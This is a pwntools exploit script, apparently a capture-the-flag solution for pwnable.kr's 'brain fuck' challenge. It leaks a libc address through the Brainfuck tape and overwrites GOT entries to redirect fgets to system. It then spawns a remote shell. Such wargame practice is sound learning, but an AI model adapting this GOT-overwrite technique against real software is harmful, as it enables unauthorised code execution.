http://pwnable.kr/ [brain fuck]

bf_exp.py

#!/usr/bin/env python
# coding: utf-8

from pwn import *

# Remote EXP
libc = ELF('./bf_libc.so')
p = remote('pwnable.kr', 9001)

# Local EXP
# libc = ELF('./libc.so.6')
# p = process('./bf')


p.recvline_startswith('type')

# Move the pointer to .got.plt fgets()
payload = '<' * (0x0804A0A0 - 0x0804A010)
# Print .got.plt fgets() address in memory each bytes
payload += '.>' * 4
# reMove the pointer to .got.plt fgets()
payload += '<' * 4
# Write .got.plt fgets() to system()
payload += ',>' * 4
# Move the pointer to .got.plt memset()
payload += '>' * (0x0804A02C - 0x0804A014)
# Write .got.plt memset() to fgets()
payload += ',>' * 4
# Writr .got.plt putchar() to main() 0x08048671
payload += ',>' * 4
# Call putchar(), actually main() called
payload += '.'

p.sendline(payload)

fgets_addr = p.recvn(4)[::-1].encode('hex')
system_addr = int(fgets_addr, 16) - libc.symbols['fgets'] + libc.symbols['system']
gets_addr = int(fgets_addr, 16) - libc.symbols['fgets'] + libc.symbols['gets']

p.send(p32(system_addr))
p.send(p32(gets_addr))
p.send(p32(0x08048671))
p.sendline('/bin/sh')
p.interactive()